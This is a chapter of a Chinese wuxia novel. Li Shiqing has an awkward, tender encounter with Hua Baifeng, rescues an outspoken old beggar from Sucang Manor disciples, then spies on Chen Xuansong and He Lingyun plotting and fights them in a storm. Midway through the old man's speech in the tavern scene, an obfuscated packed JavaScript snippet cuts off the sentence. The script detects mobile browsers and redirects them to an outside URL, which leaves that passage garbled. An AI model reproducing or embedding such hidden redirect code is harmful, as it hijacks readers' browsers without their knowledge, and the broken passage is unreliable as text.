李世晴大感奇怪,虽说清晨泉水冰凉,可毕竟时值季夏,且自己习武多年,身体已复康健,为何如今反倒怕了这一潭泉水?李世晴无暇思索,眼下他手足发冷,口渴更是难耐,也就顾不得许多,一咬牙,双手捧起泉水“咕咚咕咚”连喝几口,再洗一把脸。 借泉水映照,李世晴看见水中人眼圈乌青,碎发凌乱,不禁苦笑。李世晴自师父离世之后,孤身游历江湖,一向谨言慎行,太平无事,如今为给好友和一名初识的苗疆女子出头,得罪各大门派,惹得这般狼狈。 可扪心自问,古三通是自己的结拜兄弟,如今他受人冤枉,决无理由弃他于不顾,至于花白凤,虽个性泼辣,行事偏激,但总算行事磊落,反观中原各派却是一副仗势欺人的虚伪嘴脸。自己眼见不过,出手相帮,虽处事不够圆滑,却无愧心中侠义。思至此处,李世晴顿觉胸怀舒畅,当即背靠岩石,盘坐调息。 可不过一会儿,李世晴却听得水中异动,心下一惊,躲在巨石背后小心察看。只见水潭中一片阴影渐渐上浮,最终破水而出。 这是一名少女,一头乌发如瀑布般向后飞散,初升的阳光照耀着她纤薄的背部和腰身,清丽的面容映在水中,犹如一朵出水芙蓉。李世晴看得呆了,只觉得此前人生之中从未见过如此美丽的光景,一时间竟忘了回避,忘了以往所学的种种大道理。 可随即,数滴水珠向他射来,李世晴抬手阻挡,却不料水珠暗藏内力,他勉力招架,连退几步,又见一掌扑来,当即拳掌反击。来人亦是武功高强,三两招拆解之后已擒住李世晴手腕,身形一跃,跳上岸来。李世晴不甘示弱,右手一翻,同样擒住对方,左手再出一掌。二人掌风猎猎,即将对击之时,却又生生停下,只因二人皆认出对方面貌。 “是你啊!” 花白凤松了一口气。她本在水潭中洗浴,一时兴起,潜水闭气,却听得岸上异动,以为是敌人找来,情急之下,慌忙出手。如今眼见来人是李世晴,总算稍稍安心,饶是如此,仍是嗔怪。 “干嘛不声不响地躲着吓人?刚才若不是我手下留情,你可就小命不保!” 其实,以二人修为之差,花白凤绝难伤到李世晴,她心知肚明,说这话也只为逞一时口舌之快。却不想李世晴听成了别的意思,连忙后退,双手抱拳,对着花白凤深深一拜。 “是在下该死,冒犯姑娘!万望姑娘海涵恕罪!” 花白凤料想不到李世晴这般反应,伸手去扶,却见李世晴连连躲避,眼神四下飘荡,偏不往自己身上看。 花白凤不明所以,待低头一看自己,才想起自己在水潭洗浴,刚刚出水。此刻,她身上衣裳湿着紧贴肌肤,勾勒出曼妙的曲线。 花白凤生于苗疆,长在山林,自小跟随苗家姐妹一同沐浴山瀑深潭,从未觉得有何不妥。如今她和衣沐浴,衣裳好端端地穿在身上,自觉心中坦落。可看李世晴,眼神左闪右避,扭扭捏捏,反倒弄得她不好意思。 花白凤想起此来中原之前,教中老人和她说过,中原汉人最讲男女大防,时时刻刻念叨什么男女授受不亲。那时听来,花白凤只觉得厌恶且不可置信,如今却见李世晴这般扭捏模样,倒也信了,更觉得迂腐可笑,不禁玩性大发,当即板直身体,清了清嗓子,故作严肃道: “你……刚才是不是偷看我洗澡了?” “我……” “昨夜疗伤之时,你是亲手解开我的衣服,没错吧?” “……” “我听说,你们汉人之中有位老夫子说过‘非礼勿视’。我倒想请问公子,你的所作所为,到底算是‘礼’还是‘非礼’?” 李世晴遭花白凤连番逼问,无从辩解,早已涨红了脸,羞得无地自容。花白凤见此情景,强忍笑意,继续道: “我们苗人敢爱敢恨,我是南教圣女,无端端地受你冒犯,绝不能善罢甘休!你若自觉理亏,就让我把你的一双眼珠挖下来,以泄心头之恨;若是不愿,我们再打,就算你是玄机老人的弟子,我也不怕……” 花白凤越说越兴起,却不料未等说完,忽见李世晴双手抱拳,“咚”的一声重重跪下。 “惭愧!”李世晴头颅沉沉低下,眼看就要拜倒在地,“姑娘所言不错,在下言行失礼,冒犯姑娘清白之身。莫说这一双眼珠,就算姑娘要我性命,也是我罪有应得!只不过……” “不过什么?” “只是眼下古兄遭人陷害,下落未明,既是结拜兄弟,我不能置他的生死不顾。故而……特请姑娘宽限几日,待我查明幕后一切,还古兄清白。到那时,我一定来姑娘面前领死!” 李世晴说得满怀豪情、万分悲壮,叫花白凤不知该如何应答。花白凤初时被吓了一跳,呆愣好半天,随后慢慢思索李世晴话语之意,越想越觉得奇怪,越奇怪越觉得好笑,最终实在忍不住“噗嗤”一声笑出来。 李世晴困惑地抬起头,只见花白凤笑得前仰后合,花容却未有半分失色,反而举止豪爽,毫无矫揉造作之态,笑靥明媚犹如雪山朝阳。 “姑娘……” “好了……”花白凤笑得肚子发疼,又见李世晴困惑无措的模样,只得渐渐止住笑意,仍忍不住打趣他。 “我不过随口说说而已,你还当真了!” “可我的确……” “你昨天是为了救我,不是吗?多亏你的医术,我的伤才能好得这么快,若我不感念救命之恩,反倒责怪你冒犯我,那才是不讲道理呢!至于刚才……” 言及此处,花白凤不禁羞涩起来,却见李世晴也是羞得不敢看她,心想:“我是苗家儿女,行事自当磊落大方,何必学得汉人这般扭捏?” “我刚才不过是在水潭洗澡,又没脱衣服,也谈不上什么吃亏。再说了,这世上之人不是男人就是女人,若是多看女人两眼就要自尽谢罪的话,那还有几个男人活着?” “可……” “哎呀,你好烦啊!”花白凤已被绕得不耐烦,跺脚道,“这样吧,你若实在觉得心里有愧,就闭上眼睛,让我打你一巴掌,这事儿就算了了,如何?” 李世晴原本自觉言行失礼,心中愧疚,就算舍去一双眼珠也无怨言,不料眼前这位苗家女子如此豪爽大度,自然感激,当即不再多说,盘腿坐下,闭眼以待。 李世晴甘愿领罚,决意无论花白凤下手再重,绝不会抱怨半句。可等了许久,迟迟不见巴掌落下。 “姑……姑娘……” 迟迟不见动静,李世晴终是忍不住悄悄睁眼偷看。不料眼缝稍一睁开,就见一道黑影落下,连忙紧闭双眼,却未感到丝毫疼痛,反而唇上传来一阵柔软的触感,伴随幽幽甜香,一纵即逝。 李世晴吓了一跳,再度睁眼,只见花白凤仍在面前,眼神羞怯,双颊红晕藏也藏不住,更衬得花容娇艳。 “这下……算扯平了……” 经过半日修养,李世晴内力已恢复如初,体内寒凉之感也几乎消散。李世晴心系古三通等人安危,一刻也不愿耽搁,可莽撞行事,于事无补。于是,李世晴在岛上四处搜罗,在岛边浅湾寻得两艘废弃渔船。这两艘渔船虽然老旧,却无破损,且棹楫俱全,船上还有一些简单的生活用品,李世晴找出一顶破斗笠、一身粗麻布衣,换洗乔装之后,俨然一副太湖渔夫模样。之后又将渔船简单清扫,已可渡航离岛,但李世晴犹豫了…… 李世晴回望岛上茅屋,不见半点光亮,放心不下,轻步靠近。只见屋内昏暗,花白凤正盘腿打坐,李世晴听她气息平稳,知她的伤势无恙,本想离岛前再叮嘱几句,却怎么也无法开口。 自今早花白凤一番举动之后,二人之间的气氛就十分尴尬。花白凤本是苗疆女子,性情豪爽,倒也坦然。反观李世晴,虽是堂堂男儿,却躲躲闪闪、扭扭捏捏。其实,李世晴并非对花白凤有所嫌恶,相反,是被她的花容月貌与飒爽英姿所深深吸引。可李世晴生于书香世家,自懂事起便习儒学礼教,时时被告诫循规蹈矩,后蒙师父收养,师父传他武学百艺,教他为人处世,偏偏对于男女相处之道未有半字提及,如今,忽然面对花白凤的示好,李世晴实在不知该如何应对。 此时恰逢清风涌入,荡起一片萤火流舞,幽幽碧光映照着花白凤的绝世容颜,当真美如山灵。李世晴不由得思绪恍惚,好一会儿才回过神来,心中懊悔不该,逃一般地快步离开。 李世晴撑船离岛,他生于江南水乡,常年居于云梦泽,对于水路行船倒也熟悉。为掩藏行踪,李世晴不敢点灯,只借天上星辰指引。就这样行船许久,终于得见点点灯火。李世晴借夜色掩护,小心靠岸,轻功一跃,便已登岸。 宿苍山庄坐落于西山之上,依山而建,山道蜿蜒,山麓市镇聚集,命曰“金庭”。江南富庶之地,太湖亦是鱼米之乡,因而夜市极为繁盛,只是此刻市集上多了许多提刀带剑的江湖人,寻常百姓不明所以,纷纷躲避,李世晴却明白这定是宿苍山庄和中原七派的人手,目的是追捕自己。 李世晴压低帽檐,绕开人流,钻进一家街边酒肆,一来暂避风头,二来探听消息,三来从昨天起,李世晴颗粒未进,饶是他武功高强,此刻也只觉饥肠辘辘。李世晴选择一处偏僻角落坐下,点了几样简单饭食,待一上菜,便飞快地吃起来。 这家酒肆铺面不大,十分简陋,只是街边树下搭起的草棚,四面通透。此时除了李世晴外,还有几人聚在一起饮酒,看模样似是行商打扮。 “真是晦气!”一名红脸汉子将酒碗往桌面重重一放,抱怨道,“年年水患,好不容易今年老天爷消停了会儿,又碰上这满大街舞刀弄剑,让人怎么做生意?” 此时,店小二端着一壶新温的酒走来,一面倒酒,一面劝解。 “客官此时来就不赶巧!您难道没听说,今年正是宿苍山庄陈老庄主六十大寿,武林中但凡有头有脸的人物皆来祝寿。” “年年都过寿,怎么今年就闹得这般阵仗?” “是啊!”话至此处,一旁的黄脸汉子也起了兴致,插嘴道,“听说陈老庄主的大寿是在七月初一,算日子也过了两天,怎么还没散?而且看这一个个凶神恶煞、提剑带刀,倒不像是过寿,而是抓人。” “客官这就有所不知,这还不是因为……” 店小二欲言又止,可店内酒客都被勾起了兴致,急忙催促他继续说下去。 “到底因为什么?你倒是快说!” “这种乳臭未干的小毛孩儿能知道什么?不过吹牛皮罢了!” 店小二本还有所顾忌,但听了酒客们言语激将,此时也赌了气,继续说道: “当然是因为有不速之客!客官们可听说过不败顽童?” 店小二故意卖关子,看着酒客们都伸长脖子、竖起耳朵等着听,心情大好,正打算继续卖弄,却被一阵苍老的声音打断。 “小哥儿说得可是不败顽童古三通?” 众人循声望去,只见角落里正蹲坐着一位老人,他头发花白,胡须蓬松,一身灰土衣裤,背着一副破褡裢,虽衣着简朴破旧,瘦骨嶙峋,但双目炯炯有神,一面用筷子敲着面前酒杯,一面摇头晃脑,朗声道: “听说这不败顽童可是当今武林后起之秀,年轻轻轻就连败各大门派高手,此次各大门派之所以齐聚宿苍山庄,名为祝寿,实则是为了聚首商量如何对付不败顽童。” 老人的一番说辞更是新奇,转眼就将店内酒客吸引过去。店小二一看风头被抢,顿时不悦,也跟着大声反驳道: “哼,不败顽童有什么稀奇?你们可知道,眼下宿苍山庄四处派人搜捕,可不是为了古三通,而是抓捕春梦了无痕公子!” “这春梦了无痕公子又是谁?” “这你们都不知道啊——” 店小二得意洋洋地拖长声音,其实他也不清楚,只是这酒肆每日迎来送往,许多江湖人在此歇脚谈天,自然能道听途说不少消息。 “无痕公子可是玄机老人的唯一传世弟子,武功之高,天下第一,玉树临风,风靡万千少女!听说就在两天前的寿宴之上,他一招就打败了的崆峒掌门,在场武林高手连他何时出手,用了什么招式都不知道!” 店小二说得绘声绘色,其他酒客也听得全神贯注,唯独那位老人摇头叹息。 “江湖比武,本是寻常,既然自称高手,就该坦然面对后辈挑战。若是比武落败,就恼羞成怒,恃众凌寡,实在有失宗师风度。如此怕输,还不如早早归隐山林,何苦自寻烦恼?” 老者一番话精辟入里,但在座大多数人却如牛听弹琴,店小二也听不明白,不屑道: “所以说你不懂!若只因比武落败,哪儿至于这般阵仗?说到底还是为了那件事啊!” “哪件事啊?” 话至此处,店小二突然手搭嘴边,凑近众人,眼神神秘小声道: “听说是宿苍山庄陈大小姐被人掳走,犯人就是无痕公子。” “可无痕公子为何要掳走陈大小姐?” “瞧这话问的,一个黄花大姑娘被男人掳走,还能为什……” 店小二话说一半,忽觉后脑钝痛,原来是那位老人捻起一枚核桃打来。 “年轻人说话没遮没拦!”老人原本面目慈祥,此时也显了愠怒之色,“女儿家名节岂能胡言乱语?无痕公子是玄机老人高徒,当年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316365|198515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玄机老人救治太湖疫灾,何等恩德!他的弟子怎会做什么采花窃人的无耻勾当?更何况,人家是宿苍山庄大小姐,这里就在西山脚下,小心祸从口出!” “怎是我口无遮拦?这两天消息都传遍……” 店小二挨了一打,好不服气,正欲反驳,岂料店外一片喧哗。只见四个手持刀剑之人冲进门来。店小二本是一时口快,更何况这两日宿苍山庄在太湖周边大肆搜捕,各种闲言碎语早已传遍,店小二这才有胆子多说两句。可此时忽见这群人气势汹汹闯入,悔不当初,顿时抖如筛糠。 岂料这群人并不理会店小二,反而径直冲向老人,为首之人一脚踢翻老人跟前的桌子,骂道: “哪来的臭老头子?你与无痕公子是何关系?” 遭此阵仗,原本聚在一起的酒客们都吓得四散奔逃,却又被手持刀剑的人挡了回去。再看老人,全然不惧,反而手捻胡须,不卑不亢道: “这位后生好没来由!老叫花命薄福浅,如路边草芥,无痕公子是高人弟子,我有何机缘能与人家攀扯关系?” “少来这套!你方才话里处处维护无痕公子,当我们没听见吗?宿苍山庄威震太湖,无痕公子是我派死敌,你敢替他说话,不要命了吗?” “这话从何说起?天地之大,老头子游历四方,你们宿苍山庄威震太湖,与我何干?再说了,市井传闻,不过说来图个乐罢,从未当真。后生如此动怒,倒似做贼心虚!” “什么做贼心虚?做贼心虚的是那无痕公子,他仰仗师门之名,为非作歹,人人得而诛之。更何况,若他不是心中有鬼,何不当面对质,反倒跑得无影无踪?” 宿苍山庄为首弟子说得声疾色厉,可老人反倒哈哈笑道: “说得好啊!仗势欺人,得而诛之。那昨日宿苍山庄与中原七派高手围攻恩人高徒与一个女娃儿,又算是什么?纵然人家想要对质,可你们咄咄逼人,狠下杀手,不跑,难道等死吗?” “你……”为首弟子不明白老人为何得知昨日各派高手围攻无痕公子一事,怒道,“你到底是什么人?从哪里听来这等谣言?” “老头子就是个臭叫花,四海为家,席地幕天,我昨日在渔船里睡得好好的,你们一群人在边上喊打喊杀,老头子想看不见也难。再说了,若要人不知,除非己莫为。以多欺少,这等没脸皮的事既做得出,又何必怕人说呢?” “胡说八道!”为首弟子气急败坏,拔剑出鞘,直指老人,“那无痕公子玷污了陈大小姐,对付这样如此十恶不赦的淫贼,还需讲什么道义?” 此话一出,室内一众酒客皆是大惊,原本市井传闻真假难辨,可如今经宿苍山庄弟子之口说出,岂有不实? 岂料老人却不屑道: “无凭无据,人未找到,如何就能说是无痕公子玷污你家小姐?” “当然有凭据!无痕公子昨日被陈老庄主击败溃逃,山庄广布人手,四下搜查,找到了陈大小姐。她亲口作证无痕公子就是采花淫贼,陈大小姐名门闺秀,若非真有其事,谁会拿自个儿清白名节诬赖他?” 这一下,就连躲在一旁的李世晴也几乎坐不住。李世晴未曾动过陈大小姐一根头发,他原本希冀宿苍山庄找到陈大小姐就能证明他的清白,可谁想竟是这般结果。可正如这个宿苍山庄弟子所说,陈大小姐清白名节,为何拿这种事情诬陷于他?若她真的亲口作证,只怕李世晴跳进黄河也洗不清。 老人听闻此言,亦是一时呆愣,但片刻之后,忽然“噗嗤”一声,仰天大笑。 “你笑什么?” 宿苍山庄弟子气得涨红了脸,可老人并不理会,只待笑够了,再度开口。 “陈老庄主不愧是武林高人,行事不同凡俗!”老人讥讽道,“老头子只是奇怪,历来世家大族看重女眷名节,遇着这等事,遮掩还来不及。陈老庄主怎么由得门下弟子四处宣扬,生怕旁人不知似得?” “这……” “就算是陈老庄主恨无痕公子毁她女儿清白,也可另寻由头暗中追杀,何必闹得人尽皆知?身为父亲如此行事,可曾考虑过女儿余生?再者说,如今仅有宿苍山庄一面之词,算什么罪证确凿?宿苍山庄门徒众多,有道是众口铄金,积毁销骨,你们不问缘由就将罪名扣在公子身上,叫人如何辩解?” 老人字字直指要害,为首弟子无言辩驳,怒火攻心,扬手一掌便要向老人天灵盖拍下,却听得“哎呦”一声,为首弟子竟捂着手掌惨叫起来: “有暗器!” 周围人不明所以,只见为首男子捂着手掌,哇哇惨叫,却不见流血,只是虎口一处淤伤,随即一枚松仁悄声落地。 “哈哈哈——”老人朗声大笑,抓起一把松仁送进嘴里,不忘调侃道,“这店家炒的松仁也不硬啊!老头子今年七十六岁,一口大牙没剩几颗,我都能吃得,怎么就成了暗器呢?” 为首弟子受此侮辱,当即举剑斩下。千钧一发之际,不知从何处飞来数枚松仁,一瞬间击灭屋内灯火,那四名弟子眼前一黑,慌忙拔剑防御,却忽见一道寒影闪过,再定睛一看,老人已不见踪影。 老人只觉犹如腾云驾雾,身体轻飘飘的,周遭景色飞快地向后倒退。仔细一看,才知道自己正被人扛在肩上,飞快地奔跑。 老人也不知自己被人扛着跑了多久,只觉得似乎一瞬间穿过了人影憧憧的街道,又沿着湖岸跑了许久,待他双足落地之时,周遭已不见半点灯火。 老人被轻轻地放落地面,他仔细观察眼前之人,头戴破笠,一身粗衣,俨然渔夫打扮,但借着粼粼湖光,依稀可见一副文雅秀致的俊朗面容。 老人连忙后退一步,弯腰一拜。 “多谢无痕公子救命之恩!” “老先生这是折煞晚辈,快快请起!”李世晴连忙扶起老人,“此乃晚辈分内之举,老先生今夜遭逢劫难,也是因我……” 李世晴性情温和,声音柔如三月春风,却也难掩语气焦急。 “公子,可是有话要问老头子?” 李世晴被老人一语道破心思,也不再顾虑,当即拱手一拜,问道: “方才我听老先生在酒肆所说,昨日大战之时您在湖边,我想知道昨日我逃遁之后古三通与其他人的下落,烦请老先生告知!” “公子言重了!”老人爽朗一笑,“公子请放心,你的朋友皆未被擒。那日你离去之后,各派高手本想反转矛头,围攻古少侠,可古少侠并非愚笨之人,当即不在纠缠。古少侠武功本就高强,他若要走,没有几个人能留住他。” “那朱兄和素心姑娘,还有梅琴……我是说,其他在场之人又如何?” “那日情形混乱,老头子躲在渔船里,看得并不分明。不过,据老头子所知,那日宿苍山庄与各大门派并未捉住任何相关之人,可说是无功而返,因此这几日在太湖周边广布人手,大肆搜捕。” 李世晴听老人所言,心中盘算,朱无视武功高强,性格沉稳,又心系素心,想来不会冒险;梅琴年纪虽小,但这几年跟随自己习武,内力轻功也不弱,况且宿苍山庄与中原七派那日是冲自己和古三通而来,想来也难以顾及其他人,若要趁乱逃走,也是极有可能。 “那……那南教呢?南教之人也逃了?” “这事儿说来真奇!那日大战之后,莫说逃,那南教教主几乎要被请上宿苍山庄!” “你是说,南教教主花白龙让他们擒了?” “不是擒,是请!”老人特意加重语气,“公子听来或许不信,但这是千真万确!老头子虽是年迈,眼神却还不错。那日古少侠混战逃脱之后,南教教主留在原地,被各派包围,我原也以为宿苍山庄和其他门派要将他捉住,却见双方并未动武。老头子亲眼看见,宿苍山庄陈老庄主对南教教主毕恭毕敬、礼待有加。” “那后来呢?” “后来……陈老庄主向南教教主似乎说了什么,南教教主回敬一礼,随后由部下拥护离去,而在场武林众人也丝毫没有阻拦为难。” 老人这番话倒让李世晴迷糊了。中原武林向来排挤厌恶南教,况且还有二十年前仇怨,此次南教教主现身中原,中原各派无不百般防范、欲除之而后快。那日古三通与花白龙一战,李世晴看得真真切切,古三通虽一时落入下风,可花白龙亦伤损不轻,却不想中原各派非但没有趁人之危,反倒对南教礼敬有加,任其离去,又是为何…… 李世晴百思不得其解,可如今诸事纷杂,形势晦暗,李世晴心中尚有疑团亟待求证,只得将南教之事暂且搁置。 李世晴从怀中摸出一枚银锭,双手捧向老人,柔声道: “这是晚辈一点心意,往老先生笑纳!” “公子这是……” “老先生今夜为晚辈执言,得罪宿苍山庄,宿苍山庄势力遍布太湖,不容小觑!晚辈心中有愧,然眼下要事在急,无法分身保护老先生,只能请老先生收下这些银子,快些离去!” 李世晴语气关切,眼神诚挚。老人心中感怀,不禁放声大笑: “老头子活了这把岁数,自问见惯人间百态,想这世上自诩正派侠义之人不少,却多是沽名钓誉之辈。公子本领超群,难得性情谦和,心地纯良,你我不过初见,却肯为我这糟老头子的生死担忧,竭力照拂,如此善心,真是世间罕有!只是……” 言至于此,老人面色忽转深沉。 “有一句话,老头子不知当讲否?” “请老先生赐教!” “公子心善,又极为重情,这本是好事,可世间之事千千万万,有时却非人力所能强求。公子待人至诚,一腔热血甘愿为好友倾洒,这没有错!可你若时时想着为他人照拂,事事强求周全,难免顾此失彼,长久下去,轻则犹如负薪救火,重则恐有遗憾终生之虞!” 老人此话来得突然,毫无由头,李世晴只觉得玄妙难解,正欲开口求问,忽然一阵云雾袭来,只一瞬间,李世晴定睛再看,老人竟已不见踪影。 27.深院窥奇谋 雨夜动杀心 不过片刻功夫,等李世晴再度返回西山脚下时,原本天晴星朗之夜,竟已是黑云密布,大有山雨欲来之势。 自昨日大战,古三通和李世晴逃走之后,宿苍山庄风声鹤唳,一方面广派人手,四处搜捕,另一方面严加防守各处要道,再加上此次中原七派所带来的人手,一时间,宿苍山庄俨然铜墙铁壁。 但这并不能吓退李世晴。太湖西山地势险峻,奇峰断崖不计其数。李世晴借夜色掩护,行船绕至西山背面。只见前方悬崖如削,乱石突兀,偏又被流水打磨光滑无比,黑夜之中仍泛着微微幽光,令人胆寒。李世晴深吸一气,鼓足内力,挥转手中绳索,向上抛去。李世晴内力极深,且因精通暗器,眼力超群,绳索经他抛出,仿佛蛟龙升空,绳尾钢爪分毫不差地勾住崖上古树。李世晴奋力一拉,足尖连踏,施展绝顶轻功,身如飞燕,转瞬间,人已在半山腰。李世晴双手各执一柄钢刀,沿山石缝隙,左右攀爬,捷似山猿,只一炷香的功夫已登上山顶。 李世晴刚一登顶,黑暗中忽见一柄长剑刺来,原来有宿苍山庄弟子在此值守。这名弟子深夜值守,昏昏欲睡,忽闻崖边异动,起先以为只是飞鸟,后来竟见一道人影蹿了上来,吓得拔剑便刺。李世晴正欲还击,却不料崖边土石松动,脚下一滑,险些跌落,所幸抓住崖边一颗古树,借势旋身,躲过剑招。谁知这名弟子突受惊吓,慌忙出剑,眼下已收不住势,竟直挺挺地跌出悬崖。千钧一发之际,李世晴从古树上扯下一根青藤,扬手一挥,套住这名弟子腰间,奋力一拉,这才将他救回。 这名弟子险死还生,惊魂未定,手中宝剑早已丢了,他看着宝剑和崖边土石滚落深谷,却听不见半点声响,可知高山险峻,又想着眼前之人竟是从如此险峻之地攀爬而上,足可见其胆量与功力。想到此处,更是吓得瘫软在地,不能动弹。李世晴见这名弟子如此惊恐,于心不忍,出手点中他的睡穴,方才离去。 经前日闯庄,李世晴已大致知晓宿苍山庄内部地形和值守规律,因此这一次得以巧妙地避开巡查人手,潜入内院,找到了那晚他和花白凤藏身的假山丛。李世晴俯低身子,在黑暗中四处摸索。自那晚以后已过两日,或许不会再有什么线索。可李世晴心中有疑问未解,且他知道事关重大,若无确切把握,实在不敢妄下定论。 或许是上苍眷顾,就在李世晴即将放弃之时,他忽然感觉脚下踩到一团物什。捡起仔细一看,是一枚小巧的香囊,金线纹绣,精细雅致,一看便是富家女眷所用之物,再凑近鼻子一闻,果然有一股似曾相识的香气。李世晴心中大惊,不曾想脑中一点猜疑竟然成真,感叹幕后之人用计之狠辣,更觉背脊发凉。 正当李世晴苦苦思索下一步该如何应对之时,忽听得一阵脚步声由远及近,立即躲藏于假山之中。 李世晴藏于假山之中,听那脚步声匆匆,似有两人,其中一人脚步声极为沉稳,可知是名高手。又从山石缝隙窥看,果然可见一前一后两道人影。前头那人低头弯腰,手执灯笼为后人引路,看衣着似是山庄管家,后头那人背脊挺拔,步履飞快,内息浑厚,烛火映在脸上,李世晴清楚认得此人正是昆仑掌门何凌云。 中原武林七大门派受邀前来,自然住在宿苍山庄,可眼下已过二更,而何凌云得山庄管家引路,显是受庄主相邀。到底是什么要事能在此时惊动一派掌门? 李世晴正值思考,二人已绕过湖泊,往院中更深处走去。李世晴好奇心起,紧随其后。 虽然已在宿苍山庄住了几日,何凌云仍是不禁感叹宿苍山庄占地之广。何凌云受宿苍山庄庄主陈玄松所邀,由管家带路,绕过湖泊,穿过一段昏暗的长廊,终于来到山庄深处一处偏院。相比于庄内其他院落的雕廊画栋、水木清华,这处偏院房屋矮小,景物萧疏,显然荒废许久,若不是此刻主屋中一片熔熔灯火,只怕不会有人注意到庄内还有这么一方天地。管家将何凌云引入主屋,即刻转身退了出去,并将房门掩上。 就在何凌云跨入房内几乎同一瞬间,一道黑影如落叶般飘落屋顶,没有一丝声响。李世晴揭开一片屋瓦,窥探屋内。 只见屋内首座之上坐着一位老者,身边有一名年轻男子,衣着考究,不似寻常小厮,倒像富家子弟。而何凌云立于堂中,毕恭毕敬对着老者一拜: “深夜惊扰,晚辈拜见陈老庄主!” 面对何凌云如此恭敬,陈玄松却一改平日谦和有礼,不耐烦地扬了扬手,开口道: “坐吧!” 何凌云受了如此轻待,却不敢发怒,默默在一旁客椅坐下。陈玄松见何凌云如此听话,不再多说,又一扬手示意,他身边的年轻男子走向何凌云,双手捧起茶盏敬向何凌云。何凌云接过茶盏,但随即冷哼一声,将茶盏摔在几上,吓得男子连连退步。 陈玄松见此情景,讥笑道: “都说长兄如父,果然不假!若是何夫人能早嫁几年,有何掌门这样一位姊兄管教,镇南镖局想来不会有如今大难。” 何凌云受此讥讽,却无力辩驳,心中窝火,只能冷冷开口道: “我这妻弟不成气候,劳烦陈老庄主相助,实在惭愧!但作为回报,西域冰蚕早已奉上,庄主所图也已达成,日后两不相扰,其中秘密我想庄主也会继续保守,对吧?” “西域冰蚕……” 李世晴听闻此处,不由得心中一紧。李世晴自小跟随玄机老人学习医术药理,遍识百草百虫,当然知道西域冰蚕。 相传西域冰蚕产于西域昆仑山上,栖息于雪山古松之间,状若晶雪,其毒至阴至寒,几无解药,且繁衍生长极慢,十年产卵,十年孵化,还需十年方能成虫,此外冰蚕多栖息于雪山冰谷、人迹罕至之地,猎取极其艰难,因此世所罕见,就连李世晴也只在古书典籍之中读到相关记载,不曾见过实物。如今,陈玄松索取西域冰蚕,究竟意图何为?何凌云甘愿奉上如此珍贵之物,难道是有什么把柄被陈玄松攥住? 再看屋内,陈玄松听出何凌云话中所指,心中不悦,却面上冷笑,道: “这是自然!西域冰蚕乃当世奇宝,何掌门大方相赠,这份情我不会忘。只是……”言至于此,陈玄松忽地面色一沉,话锋一转,“老朽听说,世间常言三毒,乃赌、酒、色,这‘赌’字为首,害人不浅!我自会保守秘密,可少当家今日沉沦赌瘾,竟敢监守自盗,向朝廷火耗下手,他日若再复恶习,焉知不会将你我所谋之事泄露?何掌门,若真是如此,该如何是好?” “这一点,请陈老庄主放心!我这妻弟再不成器,也知道一个‘死’字,断不会自寻麻烦!日后,我定对他严加管教,再不会容许他生事!” “如此最好!何掌门,你要记住,你我已是一体,事到如今,不再仅是镇南镖局或昆仑派一家之事,还关系到我宿苍山庄数十年的基业。你我所谋之事,如若泄露,轻则身败名裂,重则死无葬身之地!” 陈玄松所说话语之重,语气之冷,叫何凌云不寒而栗,只得连连点头称是。 再看屋顶,李世晴将这一番对话听得清清楚楚,愈发心惊。李世晴从不相信古三通会胆大妄为,敢劫朝廷火耗,心中早有疑问,如今再听陈玄松与何凌云所言,心中已有了大致猜测。 恰当此时,虚空之中忽地一片白光乍现,雷电巨响,震烁天际,霎时间夜如白昼,紧接着狂风大作,暴雨倾盆。李世晴吓了一跳,只一瞬间的闪电白光将他的影子投入屋中,随即雨水飘落。屋内之人皆是当世武林高手,自然察觉,陈玄松当即抄起手边茶盏向屋顶掷去,他内力深厚,只一下就将屋顶砸出个大窟窿。 李世晴及时躲避,转身要逃。他大步连踏,飞身欲逃,却忽见夜空之中数十枚利箭袭来。原来,自昨日大战以后,宿苍山庄庄内守卫加强数倍,而方才陈玄松那一击已惊动周遭守卫弟子,这些守卫弟子值守本就紧张,忽听远处巨响,不明所以,搭箭便射。一时间,箭雨齐发,李世晴始料未及,竟被生生逼回院内。 只在一瞬之间,主屋大门洞开,一柄长剑向李世晴飞刺而来。李世晴被迫回身应战,此时夜幕漆黑,暴雨如注,李世晴无法看清对战之人模样,只从身形依稀辨认此人是刚才陈玄松身边的年轻男子。这名男子出招极快,剑招巧妙,数剑连出,每一剑蕴藏四五种变化,且一气呵成,以修为而论当属一派翘楚。李世晴急于脱身,左手凌空抓来一片落叶,长指弹出,扰乱剑招,同时右手出掌,朝男子面门猛劈。男子见状,抽步回身,原以为是后撤闪避,却不料他以左脚为轴,右脚回旋,剑锋上引回刺,剑芒直指李世晴心口。 “回雁剑法!” 李世晴心中一惊,手上却不怠慢,当即两指钳住剑身,将男子制住。男子内力不及李世晴,一时受制无法脱身,左手数掌连攻。李世晴起初不以为意,却不料这男子不但掌力沉重,掌风更是炎热,其中一掌擦过肩头,竟隐约可见一缕雨水受热蒸腾的雾气。 “昆仑烈焰掌!”李世晴心中再次惊叹。 “没用的东西,滚开!” 何凌云一旁观战,见男子受制不能脱身,怒喝一声,飞身袭来。 昆仑派轻功不俗,何凌云凌空飞踢直扑李世晴。李世晴见状,一掌击退男子,回身迎战何凌云。何凌云未持武器,仅以一双铁掌对战李世晴。黑暗之中,只见何凌云双掌通红,掌风炙热,远胜刚才的男子,且掌法精妙,招式迅疾,李世晴勉力躲闪,渐渐被逼至树下,又见一掌击来,堪堪躲过,回身再看,只见古树树干之上竟被烙下一道清晰焦黑的五指掌印。 “好厉害的烈焰掌!”李世晴心中暗叹。 昆仑烈焰掌乃昆仑派秘传绝学,何凌云身为昆仑派掌门,十数年修炼,功法已臻大成,而且何凌云知道李世晴已窥听他与陈玄松密谋,断然不会放李世晴活着离去,因此每一掌运足十成力气,誓取其性命。李世晴本打算伺机逃走,可昆仑派轻功名满武林,李世晴始终无法摆脱,再加上何凌云步步紧攻,招招狠厉,逼得李世晴毫无喘息之机。 而一旁观战的陈玄松见李世晴这般狼狈模样,开口嘲讽道: 